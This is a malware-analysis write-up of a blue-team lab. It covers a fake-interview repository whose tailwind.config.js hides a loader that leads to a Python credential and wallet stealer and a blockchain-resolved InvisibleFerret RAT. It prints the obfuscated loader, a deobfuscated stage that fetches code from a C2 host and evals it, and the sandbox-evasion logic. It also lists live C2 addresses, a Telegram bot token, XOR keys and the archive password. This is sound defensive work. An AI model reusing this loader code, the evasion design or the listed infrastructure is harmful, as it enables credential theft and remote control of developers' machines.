A developer workstation at a mid-sized energy firm, EZ-CERT, was flagged by the SOC after outbound HTTP traffic was detected on a non-standard port during off-hours. The host was isolated and a memory image and PCAP captured before remediation. The affected employee, khaled.allam, was a backend developer whose last known activity before isolation was cloning a GitHub repository as part of an internal project evaluation. What followed was a sophisticated multi-stage compromise that evaded automated detection at every step.
This writeup walks the full attack chain end to end: from the appended JavaScript inside a tailwind.config.js file, through three XOR-encryption layers and three layers of obfuscator.io packing, to a Python information-stealer with an encrypted exfil archive, and finally to an EtherHiding loader that resolves its final InvisibleFerret RAT body live from a BSC transaction whose hash is itself stored as data on a Tron transaction (with Aptos as a fallback chain).
The artefacts provided are a 4 GB memory dump (EZ-CERT-20260330-154006.raw) and a network capture (Capture.pcapng), with the malware tooling pre-staged on a Windows analysis VM at C:\Users\BTLOTest\Desktop\Tooling\.
The first move is mounting the memory image as a forensic filesystem so that every subsequent question has a place to point at. MemProcFS in forensic mode (-forensic 1) parses the dump for processes, registry, network sockets, modules, and an NTFS view, exposing everything under a drive letter.
MemProcFS.exe -device EZ-CERT-20260330-154006.raw -forensic 1

In parallel, Volatility 3 against the raw dump gives a fast pass at command lines and netstat. The first thing that stands out — and the first signal that this isn’t a typical office-worker compromise — is a node.exe process running with a Vite dev command line out of the user’s .npm directory:
python3 vol.py -f EZ-CERT-20260330-154006.raw windows.cmdline
python3 vol.py -f EZ-CERT-20260330-154006.raw windows.netstat
PID 7740 is node.exe, currently holding an open socket to a strange C2 host. That’s our handle on the live RAT, and the PID gets pinned down for a targeted process-memory dump later:
python3 vol.py -f EZ-CERT-20260330-154006.raw -o /tmp/ windows.memmap --pid 7740 --dump
Volatility’s command line output shows the developer cloned and ran a Vite project. Running strings against the memory image and grepping for github.com surfaces the source — a repository named NotMoSala/ShoeNikta:

The naming pattern (NotMoSala as a sock-puppet account with a single starred-but-rarely-touched repo) is consistent with the Contagious Interview / DeceptiveDevelopment campaign that Unit 42, Mandiant, and ESET have been tracking since 2022. The pattern is depressingly effective: a fake recruiter contacts a developer on LinkedIn, sends them a “take-home project” hosted on a freshly created GitHub account, and the project executes the moment the developer runs npm install and the dev server.
Inspecting the cloned project on disk surfaces the malicious file. The infection vector isn’t in package.json, not in a postinstall script, not in any obvious server file. It’s appended to the bottom of tailwind.config.js — a configuration file Vite imports and evaluates as part of its build pipeline. The developer never has to run anything explicit; spinning up the dev server with npm run dev is enough.

tailwind.config.js is a perfect cover. Developers paste config from blog posts without reading every line. It runs automatically inside Vite’s CommonJS module loader. And whatever code it contains executes with full Node privileges. From the MFT and process timeline, the moment of execution lines up neatly:

The malicious payload begins at the end of tailwind.config.js with a self-invoking function. The body is heavily obfuscated, but the shape is recognisable: ES-module imports of http/https, then everything is hoisted onto global so the rest of the chain can access them by short alias.
import http from "http";import https from "https";import { request as httpRequest } from "http";import { request as httpsRequest } from "https";global.global = global;global.require = require;global.module = module;global.http = http;global.https = https;global.request = httpRequest;global.fetch = fetch;global.process = process;global['_V']='A9';if('function' ===typeof require)global['r' ]=require;if(typeof module=== 'object' )global['m']=module;var a0n,a0b,_global,a0a;(function(){var rms='',IaL=200-189;function gOe(z){var y=3547675;var w=z.length;var m=[];for(var x=0;x<w;x++){m[x]=z.charAt(x)};for(var x=0;x<w;x++){var f=y*(x+360)+(y%32226);var i=y*(x+326)+(y%51262);var a=f%w;var j=i%w;var g=m[a];m[a]=m[j];m[j]=g;y=(f+i)%3722251;};return m.join('')};var naW=gOe('wodstriuznuobanchgfcttycmroqrvelspkxj').substr(0,IaL);var Mcf='".) 1bl6uep(,b(r.72v.ir +"y1[dh.[h0j+lhio(9+qe"9i;h]h;vara+;1no,(y6p0,o9f7a,k2 7t,(5g8{ +v cnvud6=rnav87,asf]A8};+=v,l4<,lgj "=ra(f u=) v(rij)kta0in".rgf)vg nl{[.]a=Ca1=(;(g;= =;mt=[7l}+=o!(4*0=9hfor;rr ...';var Rui=gOe[naW];var nWx='';var VfN=Rui;var Obe=Rui(nWx,gOe(Mcf));var tFh=Obe(gOe('K}K3=(.Kz%%wh ...'));var usn=VfN(rms,tFh );usn(9170);return 8509})()
A single line catches the eye: global['_V']='A9'. That A9 is the campaign identifier — set as a global so subsequent stages can read it without re-deriving anything — and it propagates all the way through the rest of the chain as a Sec-V HTTP header on every outbound request. It also drives the C2 branching logic that surfaces in Stage 3.
The decoder function gOe(z) is a seeded Fisher-Yates shuffle that consumes a string with one character per position, scrambles it deterministically, and returns the result. The first call resolves the literal "constructor" from a permuted alphabet (gOe('wodstri...').substr(0,11) → constructor), which is then used as a property lookup on the function object itself: gOe['constructor'] returns the Function constructor. From there, a second Function(args, body) is built from a second decoded blob, which when invoked with a third decoded blob as its argument returns the Stage 2 source code as a string in the variable tFh. The final usn(9170) executes it.
The cleanest way to capture Stage 2 without letting the chain run is to insert a writeFileSync(tFh) between the tFh assignment and the usn() call, then neuter the four imports at the top so the file can run in a plain Node environment without a Vite wrapper. With the imports stubbed out and the execution intercepted, running the file in a sandbox dumps a 3240-byte stage2.js to disk — same obfuscator.io shape as Stage 1, but a different payload.
Stage 2 is the network beacon. Running it through the same Fisher-Yates string-array decoder used for Stage 1 — but accounting for the rotation pattern obfuscator.io introduces — reveals it’s a 37-element array that needs to be rotated 17 times before the indexed accessors match against the expected checksum. Once rotated, the strings are legible: "http://", "23.27.20.1", "43", ":", "/$/boot", "Sec-V", "ThZG+0jfXE", "6VAGOJ", a Chrome user-agent split into fragments, and so on.
Reconstructed as readable code, Stage 2 boils down to a single HTTP request and a single decryption loop:
js
// === Stage 2 (deobfuscated) ===
global._H = "http://" + "23.27.20.1" + "43" + ":" + 27017;
// global._H = "http://23.27.20.143:27017"
(async () => {
await eval(
function xorDecrypt(ciphertext) {
const KEY = "ThZG+0jfXE" + "6VAGOJ"; // 16-byte cyclic XOR key
const klen = KEY.length;
let out = "";
for (let i = 0; i < ciphertext.length; i++) {
out += String.fromCharCode(
ciphertext.charCodeAt(i) ^ KEY.charCodeAt(i % klen)
);
}
return out;
}(
await new Promise((resolve, reject) => {
const req = require('http').request({
method: 'GET',
hostname: '23.27.20.143',
port: 27017,
path: '/$/boot',
headers: {
'User-Agent': '<Chrome UA>',
'Sec-V': global._V // "A9"
}
}, (res) => {
let data = '';
res.on('data', (c) => data += c);
res.on('end', () => resolve(data));
});
req.on('error', reject);
req.end();
})
)
);
})();
The discovery here is that this isn’t AES, despite multiple public writeups of related variants describing the campaign as AES-256-CBC. It’s a cyclic byte-wise XOR with the 16-byte key ThZG+0jfXE6VAGOJ (concatenated from two array fragments). The response from /$/boot is XORed against this key, then evaled in place.
Inspecting the PCAP confirms the beacon. Filter on ip.dst == 23.27.20.143 and http:

The custom Sec-V header carries the campaign tag verbatim:

Port 27017 is MongoDB’s default port — chosen here as cover. A naive egress-monitoring rule that allows “database” ports out by name on internal-network ranges would never flag this as web-shell traffic. Defenders should treat any HTTP-on-non-standard-port as suspicious by default.
Decrypting the captured /$/boot response with the recovered XOR key produces Stage 3, the orchestrator that does the bulk of the on-host work. One PowerShell one-liner with Node handles the XOR:
node -e "const k='ThZG+0jfXE6VAGOJ'; const d=require('fs').readFileSync('boot'); const o=Buffer.alloc(d.length); for(let i=0;i<d.length;i++) o[i]=d[i]^k.charCodeAt(i%k.length); require('fs').writeFileSync('stage3.js', o);"
Stage 3 itself is another obfuscator.io build — same Fisher-Yates string array, same hex-indexed accessors — but considerably larger. Running it through the in-tooling DeObfuscator.js produces a 1400-line stage4.js that’s directly readable.

What that file contains is the entire on-host playbook. Top of file: it imports core Node modules, gathers os.platform(), os.hostname(), os.userInfo().username, and reads a curated set of environment variables — K_SERVICE, VERCEL_HIVE_VERSION, NEXT_DEPLOYMENT_ID, __NEXT_PRIVATE_RUNTIME_TYPE, and friends. These aren’t being collected for fingerprinting alone; they’re being collected to exclude the host from execution if any of them match a sandbox profile.
The next block reads the campaign identifier (the A9 from Stage 1, accessible as q) and uses its first character to select the persistent RAT C2 from a hardcoded table:
js
let secondaryC2;
if (q[0] === 'A') secondaryC2 = '136.0.9.8';
else if (q[0] === 'C') secondaryC2 = '23.27.202.27';
else if (/[0-9]/.test(q[0])) secondaryC2 = '198.105.127.210';
In this case q[0] === 'A', so the long-haul C2 for any operator command-and-control is 136.0.9.8. The 23.27.20.143:27017 host that delivered Stages 2 and 3 is throwaway delivery infrastructure; the persistent RAT operator sits on a separate IP that depends on which campaign letter the victim’s loader was branded with. Three different campaign letters, three different operator C2s, all baked into the same binary.
/snvImmediately after fingerprinting, Stage 3 POSTs the full set of host environment variables — minus the blocklist of platform-internal vars used for sandbox detection — to a new endpoint:
POST http://23.27.20.143:27017/snv

The exclusion list is what gives the sandbox-detection design away: variables like pm_uptime, created_at, restart_time, vizion_running, RUST_MIN_STACK, NEXT_DEPLOYMENT_ID, NEXT_PRIVATE_TRACE_ID, NEXT_PRIVATE_WORKER, __NEXT_PRIVATE_RUNTIME_TYPE, and prev_restart_delay are the exact fingerprint variables the next block uses to identify Expo turtle-workers, Vercel build sandboxes, Next.js prerender workers, and similar CI/serverless environments. Stripping them out of the exfil — but checking for them on disk — means a defender who only inspects the /snv request body sees a clean-looking host inventory and misses the sandbox-evasion logic entirely.
Stage 3 then runs a 13-case switch checking for Vercel, AWS Lambda, Azure Functions, GCP Cloud Run, Kali, contaboserver hostnames, Expo turtle-worker patterns, devcontainer environments, and two named developer-test machines (EV-CHQG3L42MMQ and EV-4A6OE6M0E2D) that get a special “Test-Blocked” message rather than the generic “Blocked by security” response. These two hostnames are likely the malware author’s own debug rigs — a hunting signal worth carrying back to the SIEM as a Sigma rule.
Hosts matching any case post back to /verify-human/A9 on the secondary C2 and exit cleanly. EZ-CERT’s khaled.allam workstation matches none of the sandbox patterns, so execution proceeds.
Before any further infection work, Stage 3 runs tasklist /FO CSV /NH and computes an MD5 of every process name beginning with O:
const procs = (await exec('tasklist /FO CSV /NH'))
.stdout.split('\r\n')
.map(l => l.split(',')[0].replace(/"/g, ''))
.filter(name => name.startsWith('O'));
for (const name of procs) {
if (md5(name) === '9a47bb48b7b8ca41fc138fd3372e8cc0') {
await postToC2('Blocked by security');
process.exit();
}
}

The MD5 is 9a47bb48b7b8ca41fc138fd3372e8cc0. Brute-forcing the plaintext didn’t surface a hit against common O-prefixed analyst tools (OllyDbg, OllyICE, OllyDump and all reasonable casings/extensions), so the answer to the lab’s MD5 question is the hash literal itself — the malware authors deliberately use a one-way hash precisely so the targeted tool name isn’t recoverable from static analysis.
Stage 3 enforces a single concurrent instance of the Python stealer using a portalocker-style lock file at a hardcoded path under %LOCALAPPDATA%\Temp\:
v.readFileSync(u.join(a1, 'Temp', 'tmp7A863DD1.tmp'));
// catches EBUSY -> "still running...", waits 15s, retries up to 3 times

The full path is C:\Users\khaled.allam\AppData\Local\Temp\tmp7A863DD1.tmp:

Pulling the MFT entry for that file from MemProcFS’s NTFS forensic view gives the $STANDARD_INFORMATION create timestamp:

The lock file was created at 2026-03-30 15:38:10 — three seconds before the dynamic staging filename gets the _153814 timestamp baked into it, which lines up cleanly: Python starts → portalocker acquires the lock → stealing runs for ~4 seconds → the exfil zip name is computed using the post-completion timestamp.
Stage 3 then either uses a pre-installed Python (checking C:\Users\khaled.allam\AppData\Local\Programs\Python\Python3127\python.exe) or, if Python isn’t present, downloads a portable Python from the C2 via either tar-extractable zip or 7zr.exe-extractable 7z (with both download URLs hardcoded). With Python ready, it fetches /$/z1 with the same Stage 2 HTTP shape, base64-decodes the response, XORs it with a new 16-byte key 9KyASt+7D0mjPHFY, and pipes the result into a Python subprocess as the stealer source code.
The z1 response captured in the PCAP can be extracted as a raw file. MD5 of that raw file (the stealer payload prior to any deobfuscation) is 1B64F88B33898EABF8CA760606F8CDD9 — the answer the lab is looking for. Decoding it locally produces a zlib-compressed Python source which, when inflated, is the full InvisibleFerret stealer.
The decompressed z1_layer2.py is heavily minified — every string constant is hoisted to a single-letter or double-letter name at the top of the file, and the body uses those names. That’s not real obfuscation, just minification, and the constants are all legible plaintext.
Three findings matter immediately.
The encrypted exfil archive password is in cleartext at line 2:
C0 = ',./,./,./'
That’s the QWERTY keyboard pattern (bottom-right row .-/-, reversed and repeated three times). It’s a known DPRK signature reused across multiple Contagious Interview samples — worth a hunting rule on its own.
The password feeds the BP() function that drives pyzipper.AESZipFile with WZ_AES encryption:
def BP(folder_path, output_file, password, compression):
D = AK.AESZipFile(output_file, X, compression=compression, encryption=AK.WZ_AES)
if password: D.pwd = password.encode()
# ... walk folder, encrypt-add each file

The Telegram exfil fallback is similarly cleartext, at line 921 and around line 30:
BY = 'http://23.27.202.27:27017' # fallback C2 (matches 'C' campaign letter)
BZ = '7609033774' # Telegram chat ID
# bot token assembled from constant fragments
botToken = '7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU'
endpoint = f'https://api.telegram.org/bot{botToken}/sendDocument'
Hitting Telegram’s getMe endpoint with that token returned a 200 response at the time of analysis, identifying the bot as @file_1018_bot (display name “File Bot”). That fact — that the actor’s exfiltration infrastructure was still live on a public API when the lab artefacts were collected — is the most actionable hunting signal in the entire analysis. The bot ID 7870147428 can be pivoted across Telegram to look for other campaigns operated by the same actor.

The exfil archive structure is built into the staging logic. The Python stealer walks browser profile directories and writes harvested data into a temporary staged/ folder before BP-zipping it:
staged/
├── login/ # browser saved passwords (Chrome/Edge/Brave/Firefox)
├── login-db/ # raw Login Data sqlite copies
├── spf/ # seed-phrase finder output (wallet scraper)
└── _info.json # campaign metadata
The full target list inside the stealer is over eighty browser extensions plus native wallet apps: MetaMask, Phantom, Coinbase Wallet, Trust, Trezor Suite, Ledger Live, Solflare, Rabby, OKX, Brave Wallet, Tronlink, Keplr, and so on. Plus credentials from the major password managers — Bitwarden, NordPass, Dashlane, 1Password — pulled directly from their browser extension storage.
The completed exfil zip on this host is at:
C:\Users\khaled.allam\.npm\EZ-CERT$khaled.allam_260330_153814#FC582261.zip
The naming pattern <HOSTNAME>$<USERNAME>_<YYMMDD>_<HHMMSS>#<8hex>.zip is built deterministically from the SESSION_ID, which itself is the original _V (A9) plus a randomised tail. Useful as a YARA rule for hunting zip files matching this exact pattern in NPM cache directories — that’s pure malware artefact, no legitimate use case.

Extracting the zip with pyzipper using the ,./,./,./ password and hashing _info.json gives 50F0B29EC447B8B9FCD397BFF35389AD — the answer the lab wants for the campaign metadata file.

Halfway through stage4.js is a second embedded base64 blob assigned to a variable named X, accompanied by a 16-character XOR key 4#uLeVM[3lESLGA. The blob is decoded the same way as z1 — base64 → XOR — and the result is spawned as a separate Node process via node -e <decoded>. This is the RAT loader, separate from the credential-stealing Python process.
Decoding it produces yet another Fisher-Yates IIFE in the same shape as Stage 1 — a 44-element string array, a Fisher-Yates Gez decoder, a Function constructor invocation. Dumping with the same intercept trick produces a final readable script of about 4 KB. This is JADESNOW, UNC5342’s blockchain-loader for the InvisibleFerret JS variant.
The interesting code lives in a single async function:
const n = await t(
'cA]2!+37v,-szeU}', // XOR key
'TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe', // Tron address
'0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837' // Aptos address (fallback)
);
eval(n);
t() does the chain resolution:
https://api.trongrid.io/v1/accounts/<addr>/transactions?only_confirmed=true&only_from=true&limit=1. Take the latest outgoing transaction. Pull raw_data.data, hex-decode, character-reverse, and the result is a BSC transaction hash.https://fullnode.mainnet.aptoslabs.com/v1/accounts/<addr>/transactions?limit=1. Same hash extraction logic.eth_getTransactionByHash against bsc-dataseed.binance.org (with bsc-rpc.publicnode.com as a backup RPC). Pull result.input, strip the 0x prefix, hex-decode to UTF-8, split on the delimiter ?.? and take the second half. That’s the ciphertext.cA]2!+37v,-szeU} (16 bytes). The plaintext is JavaScript. eval() it.
This is EtherHiding in its triple-chain form. The malware doesn’t hardcode the final payload anywhere; it doesn’t even hardcode the payload’s location. It hardcodes only the resolver — two blockchain addresses, an XOR key, and a delimiter — and pulls the actual payload pointer dynamically from a public blockchain. The attacker rotates the payload by publishing a new transaction from the Tron address pointing to a new BSC transaction; takedown requires either kicking the attacker off Tron/BSC (impossible — they’re permissionless and global) or block-listing the resolver endpoints on every developer egress (high false-positive cost; legit dApps use the same hosts).
Resolving the chain live against the public Tron and BSC RPC endpoints from a Linux box returns:
Tron raw_data.data (hex): 343539323866356337393863613734383730626666393065643139333830613436616437363362623832626435616237333334653764376661303030623430387830
Resolved BSC TX hash: 0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954
That hash is 0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954 — the answer for the EtherHiding question. (The hardcoded 0x3414... in the source is the Aptos account address; it has the right shape for a TX hash and is easy to misread as one, which is plausibly part of the design — a defender sweeping for 0x + 64 hex strings in samples ends up chasing the account address instead of the transaction it leads to.)
Pulling the BSC transaction’s input field, hex-decoding, splitting, and XOR-decrypting produces a 91 KB JS file — InvisibleFerret. It’s itself an obfuscator.io build with RC4 + base64 string encoding (the most aggressive layer in the chain), but the catch-block structure visible after one round of decoding reveals the final piece.
Once the strings are extracted from the InvisibleFerret JS via a custom RC4 decoder, the persistence mechanism becomes legible. The RAT iterates through five hardcoded Electron app installation directories under %LOCALAPPDATA%\ — each install has a Squirrel-style app-<name> folder — and inserts its stager code into a JS file inside each one. Each app gets its own try { ... } catch (e) { ... } block; the catch variables are named after the apps.
Filtering the dumped strings for the recognisable shapes turns up:
app-antigravity
app-cursor
app-discord
app-GitHubDesktop
app-vscode
Alphabetised and stripped of the app- prefix, the five apps the catch statements name are antigravity, cursor, discord, GitHubDesktop, vscode.
The combination is dating evidence. Antigravity is Google’s AI-native IDE which launched in October 2025. Cursor is similar — the developer-AI editor fork of VSCode. For this variant to specifically include them in its Electron persistence list places its build date in late 2025 at the earliest, making this one of the freshest BeaverTail-OtterCookie-JADESNOW samples in the wild. The targeting bias is unmistakable: every app on the list is something a software developer would have on their machine. Discord and GitHubDesktop for community and source control, VSCode/Cursor/Antigravity for the editor itself.
The persistence works because Electron apps load JS files at startup with full process privileges. Injecting the stager into any of the apps’ JS files means it executes every time that app launches — and Electron app uninstalls frequently leave their %LOCALAPPDATA%\app-* directories behind, so the persistence often survives even an apparent removal.
The RAT body imports socket.io-client and connects back to the campaign-letter-selected C2 (136.0.9.8 for this A9 infection) on the same 27017 port. The connection persists, listens for operator commands, and reports back with structured JSON. Each report carries a runtime identifier built at process start:
boot-eval-0330153749316
Format is boot-eval-<MMDDHHMMSS><ms> — the timestamp the RAT first eval’d inside the spawned Node process, with millisecond precision. Reporting that string in error/status messages lets the operator correlate logs across many concurrent infections to a single execution instance.

The live RAT process is the same Node PID we tagged at the start: 7740, currently holding the socket to the C2.

The full chain, in execution order, ran in roughly 90 seconds from the moment the developer ran npm run dev:
15:36:39 Developer runs `npm run dev` -> Vite imports tailwind.config.js
-> Stage 1 IIFE executes, Stage 2 fetched from /$/boot (XOR ThZG+0jfXE6VAGOJ)
-> Stage 3 executes, host fingerprinted, /snv exfil POSTed
-> Sandbox / O-process MD5 check both pass
-> /$/z1 fetched (XOR 9KyASt+7D0mjPHFY), Python stealer spawned
15:38:10 Python acquires portalocker lock on tmp7A863DD1.tmp
15:38:14 Stealer completes; staging dir compressed to AES-encrypted zip
-> POST /u/f exfil + Telegram @file_1018_bot fallback
15:38:?? clientCode XOR-decoded (4#uLeVM[3lESLGA), spawned as separate Node process
-> JADESNOW queries Tron @ TLmj13VL... -> BSC TX hash extracted
-> bsc-dataseed queries 0x804b... TX -> input XOR-decrypted (cA]2!+37v,-szeU})
-> InvisibleFerret RAT eval'd
-> RAT injects stager into five Electron apps (antigravity, cursor,
discord, GitHubDesktop, vscode) and opens socket.io to 136.0.9.8:27017
By the time the SOC noticed the anomalous outbound traffic, browser credentials, wallet seed phrases, password manager dumps, and the entire environment fingerprint were on 23.27.202.27:27017, 136.0.9.8:27017, and @file_1018_bot. The host was clean of staged files (Stage 3’s cleanup logic and the Python stealer both remove their staging directories), but the RAT was still running, the Electron persistence injections were in place, and the encrypted exfil zip was sitting in the user’s .npm directory waiting to be re-shipped if the primary upload had failed.
| Phase | Action |
|---|---|
| Initial Access | Developer clones github.com/NotMoSala/ShoeNikta as part of fake interview / project evaluation |
| Execution | Vite imports tailwind.config.js -> appended IIFE runs Stage 1 inside Node |
| Stage 1 | Decodes Stage 2 via Fisher-Yates shuffle + Function constructor chain |
| Stage 2 | GET http://23.27.20.143:27017/$/boot with Sec-V: A9 -> XOR-decrypt response with ThZG+0jfXE6VAGOJ -> eval |
| Stage 3 | Host fingerprint -> POST /snv with env vars -> sandbox checks (cases 0-12) -> tasklist /O-process MD5 evasion check -> portalocker lock @ %LOCALAPPDATA%\Temp\tmp7A863DD1.tmp |
| Python Drop | GET /$/z1 -> XOR-decrypt with 9KyASt+7D0mjPHFY -> zlib inflate -> spawn python subprocess |
| Credential Theft | Walk browser profiles (Edge/Chrome/Brave/Firefox), wallet extensions (80+ targets), password manager extensions -> stage in staged/{login,login-db,spf,_info.json} |
| Exfiltration (primary) | AESZipFile (pyzipper, WZ_AES) with password ,./,./,./ -> POST to /u/f on campaign-letter C2 (136.0.9.8 for A) |
| Exfiltration (fallback) | Telegram sendDocument via @file_1018_bot (token 7870147428:…) to chat 7609033774 |
| RAT Drop | clientCode blob XOR-decrypted with 4#uLeVM[3lESLGA -> spawn Node subprocess (JADESNOW loader) |
| Payload Resolution | Query Tron account TLmj13VL... (Aptos 0x3414... fallback) -> hex-decode + reverse latest tx raw_data -> BSC TX hash 0x804b... |
| Payload Fetch | eth_getTransactionByHash on bsc-dataseed.binance.org -> extract input -> XOR-decrypt with cA]2!+37v,-szeU} -> eval -> InvisibleFerret JS |
| Persistence | Inject stager into JS files under %LOCALAPPDATA%\app-{antigravity,cursor,discord,GitHubDesktop,vscode}\ |
| Command & Control | socket.io-client connection to 136.0.9.8:27017, runtime identifier boot-eval-0330153749316 |
| Type | Value |
|---|---|
| GitHub Repository | hxxps[://]github[.]com/NotMoSala/ShoeNikta |
| File (Initial Access) | tailwind.config.js (modified) |
| Campaign ID (Sec-V header) | A9 |
| C2 (Delivery / Env Exfil) | hxxp[://]23[.]27[.]20[.]143:27017 |
| C2 Endpoint | /$/boot (Stage 3 delivery) |
| C2 Endpoint | /$/z1 (Python stealer delivery) |
| C2 Endpoint | /snv (env var exfil) |
| C2 Endpoint | /u/f (zip exfil) |
| C2 Endpoint | /verify-human/A9 (status reporting) |
| C2 (Persistent RAT — letter A) | 136[.]0[.]9[.]8:27017 |
| C2 (Persistent RAT — letter C) | 23[.]27[.]202[.]27:27017 |
| C2 (Persistent RAT — digit) | 198[.]105[.]127[.]210:27017 |
| Tron Address (EtherHiding) | TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe |
| Aptos Address (Fallback) | 0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837 |
| BSC TX (Live-resolved Payload) | 0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954 |
| Blockchain API | hxxps[://]api[.]trongrid[.]io |
| Blockchain API | hxxps[://]fullnode[.]mainnet[.]aptoslabs[.]com |
| Blockchain API | hxxps[://]bsc-dataseed[.]binance[.]org |
| Blockchain API (Fallback) | hxxps[://]bsc-rpc[.]publicnode[.]com |
| Telegram Bot Token | 7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU |
| Telegram Bot Username | @file_1018_bot |
| Telegram Bot Display Name | File Bot |
| Telegram Chat ID | 7609033774 |
| XOR Key (Stage 2 -> 3) | ThZG+0jfXE6VAGOJ |
| XOR Key (z1 Python Stealer) | 9KyASt+7D0mjPHFY |
| XOR Key (clientCode RAT) | 4#uLeVM[3lESLGA |
| XOR Key (InvisibleFerret BSC Payload) | cA]2!+37v,-szeU} |
| AES Zip Password (pyzipper) | ,./,./,./ |
| Process Evasion MD5 (O-prefix) | 9a47bb48b7b8ca41fc138fd3372e8cc0 |
| Lock File | C:\Users\khaled.allam\AppData\Local\Temp\tmp7A863DD1.tmp |
| Lock File Created | 2026-03-30 15:38:10 |
| Exfil Zip Path | C:\Users\khaled.allam.npm\EZ-CERT$khaled.allam_260330_153814#FC582261.zip |
| Exfil Zip Naming Pattern | <HOSTNAME>$<USERNAME>_<YYMMDD>_<HHMMSS>#<8hex>.zip |
| _info.json MD5 | 50F0B29EC447B8B9FCD397BFF35389AD |
| Raw z1 MD5 (pre-deobfuscation) | 1B64F88B33898EABF8CA760606F8CDD9 |
| RAT Runtime Identifier Format | boot-eval-MMDDHHMMSSmmm |
| RAT Runtime Identifier (this infection) | boot-eval-0330153749316 |
| RAT Package | socket.io-client |
| RAT Process | PID 7740 (node.exe) |
| Persistence Path | %LOCALAPPDATA%\app-antigravity| |
| Persistence Path | %LOCALAPPDATA%\app-cursor| |
| Persistence Path | %LOCALAPPDATA%\app-discord| |
| Persistence Path | %LOCALAPPDATA%\app-GitHubDesktop| |
| Persistence Path | %LOCALAPPDATA%\app-vscode| |
| Author Test Hostname | EV-CHQG3L42MMQ |
| Author Test Hostname | EV-4A6OE6M0E2D |
| Technique | ID | Description |
|---|---|---|
| Compromise Software Dependencies and Development Tools | T1195.001 | Malicious code appended to tailwind.config.js inside cloned npm/Vite project, executed at build time |
| Trusted Relationship | T1199 | Fake recruiter / fake interview lure (Contagious Interview campaign) |
| JavaScript | T1059.007 | Stage 1-3 + JADESNOW + InvisibleFerret all JS, executed by Node and Vite |
| Python | T1059.006 | Stealer (z1) is a Python subprocess spawned by Stage 3 |
| Obfuscated Files or Information | T1027 | Multi-layer obfuscator.io packing + XOR encryption across all payload stages |
| Encrypted/Encoded Files | T1027.013 | Cyclic XOR on Stage 2->3, z1, clientCode, and InvisibleFerret payload (four separate keys) |
| Deobfuscate/Decode Files or Information | T1140 | All stages perform runtime XOR + base64 + obfuscator.io decode chain before eval |
| Dead Drop Resolver | T1102.001 | BSC TX hash stored in Tron transaction data (with Aptos fallback) — full EtherHiding chain |
| Web Protocols | T1071.001 | HTTP beacons on port 27017 with custom Sec-V header for delivery, env exfil, and zip exfil |
| Non-Standard Port | T1571 | Use of TCP 27017 (MongoDB default) for HTTP C2 to blend with database traffic baselines |
| Web Service: Bidirectional Communication | T1102.002 | socket.io-client maintained connection to 136.0.9.8:27017 for operator command and control |
| Exfiltration Over C2 Channel | T1041 | Primary exfil POST of pyzipper-encrypted archive to /u/f on campaign-letter C2 |
| Exfiltration Over Web Service: Telegram | T1567.002 | Fallback exfil via Telegram sendDocument API to @file_1018_bot |
| Clipboard Data | T1115 | Python stealer reads clipboard contents during harvesting pass |
| Credentials from Web Browsers | T1555.003 | Login Data sqlite dumps from Edge, Chrome, Brave, Firefox (key4.db, logins.json, cookies.sqlite) |
| Credentials from Password Stores | T1555.005 | Browser-extension storage harvested from Bitwarden, NordPass, Dashlane, 1Password |
| Steal Web Session Cookie | T1539 | Cookie databases bundled into login-db/ in staging directory before encryption |
| Virtualization/Sandbox Evasion: System Checks | T1497.001 | 13-case switch detecting Vercel/AWS Lambda/Azure/GCP/Kali/Expo turtle-worker/devcontainer hosts |
| Security Software Discovery | T1518.001 | tasklist /FO CSV /NH with MD5 comparison of every O-prefixed process against hardcoded hash |
| System Information Discovery | T1082 | os.platform/hostname/userInfo/release pulled into Stage 3 fingerprint |
| Process Discovery | T1057 | tasklist enumeration as part of evasion check |
| Compromise Client Software Binary | T1554 | InvisibleFerret injects stager JS into legitimate Electron app installations (Discord, Cursor, VSCode, GitHubDesktop, Antigravity) |
| File and Directory Discovery | T1083 | Stealer walks user profile, browser data directories, wallet extension storage |
| Ingress Tool Transfer | T1105 | Portable Python download + 7zr.exe fallback if Python not installed; clientCode spawned as separate Node process |
| Indicator Removal: File Deletion | T1070.004 | Stage 3 and Python stealer remove staging directories post-exfil |
npm config files are a blind spot. tailwind.config.js, next.config.js, vite.config.ts, postcss.config.js, webpack.config.js, and .eslintrc.js are all JavaScript files that build tools execute automatically at startup with full Node privileges. They sit outside the scope of npm audit, they’re rarely covered by CI lint rules that check for arbitrary code execution, and they’re widely copy-pasted from blog posts and Stack Overflow without inspection. Audit any third-party config file in any project cloned from an unknown source within the last six months — search for IIFEs, base64 strings longer than 1KB, references to http/https modules, and any Function/eval calls. The Contagious Interview campaign uses exactly this surface, and the variant in this lab demonstrates how invisible the payload can be.
EtherHiding cannot be taken down at the network layer. Block-listing api.trongrid.io, fullnode.mainnet.aptoslabs.com, and bsc-dataseed.binance.org on developer egress will break legitimate dApp development, web3 tooling, and major enterprise products like MetaMask and Coinbase Wallet. The attacker can rotate the BSC payload pointer by publishing a new Tron transaction at zero cost and without leaving a takedown surface. The defence has to move up the chain — to the npm supply-chain compromise itself — because once the loader is on the host, the payload pipeline is effectively un-blockable. For organisations whose developers don’t legitimately need blockchain access, a default-deny egress rule with a one-click exception path is the right posture; for those that do, focus detection on the unusual combination of a developer machine making both api.trongrid.io and bsc-dataseed.binance.org requests within a short window from a non-browser process.
Electron LevelDB stores are unencrypted credential repositories. Every Electron app — Discord, Slack, Teams, Cursor, VSCode, GitHub Desktop, Antigravity, Notion, Element, Signal Desktop — stores session tokens, user data, and frequently access tokens for connected services in %LOCALAPPDATA%\<App>\Local Storage\leveldb\ and %LOCALAPPDATA%\<App>\IndexedDB\ with no encryption beyond user-account ACLs. Anyone with file-read on the user’s profile can session-hijack any Electron app the user has opened in the last session. The DPRK financial operations group has been weaponising this since at least 2024. Worse, Electron apps frequently leave these directories behind after uninstall, so a “clean” host may still have months-old sessions sitting on disk. Recommended monitoring: file-read access to app-*\resources\app\ JS files from any non-Electron process is a high-fidelity persistence signal; periodic enumeration of session token files for known-targeted apps from a non-browser user-mode process is another.
